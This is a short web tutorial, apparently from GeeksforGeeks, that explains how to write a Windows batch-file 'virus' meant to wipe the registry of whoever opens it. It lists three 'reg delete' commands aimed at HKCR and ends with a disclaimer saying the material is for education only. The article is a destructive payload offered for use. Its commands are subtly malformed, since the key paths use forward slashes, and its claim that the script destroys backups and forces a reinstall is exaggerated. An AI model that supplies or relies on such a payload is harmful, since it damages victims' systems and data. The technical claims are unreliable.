How to Create a Virus that Deletes the Registry File of Windows OS?
The virus that we are going to create in this article can be used to wipe out the Windows registry or simply registry from the database of the Windows system.
The registry or Windows registry is a database that holds information regarding the settings, options, and critical values that software and hardware in the Windows OS use. For this, we don’t have to download any specific software we can start coding in Notepad and save the file as .bat Extension.
Now to create the virus follow the below steps:
Step 1: Press the Window + R Button from the Keyboard. This will open the Run Dialog book will Open in front of us.
Step 2: Type Notepad in the Dialog Box and press Enter. This will open the notepad for us.
Step 3: Type in the below-mentioned code in the Notepad:
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
Step 4: After typing in all the code save the file with the name of your choice. But remember to save the file with .bat extension.
The Virus has been Successfully Created by you but this will only work when it is opened by the user once.
To resolve this issue the user must Reinstall the Operating System. No other Option will work in this situation because this will also delete the Backup kept in the Computer.
Disclaimer: GeeksforGeeks does not support the spread of ransomware/viruses and if you intend to use this information for malicious purposes, we are in no way responsible. This information is intended to be used for educational purposes only. If the virus file is clicked or opened by the user, resultantly all the registry data in the system will be wiped clean.
Share your thoughts in the comments
Please Login to comment...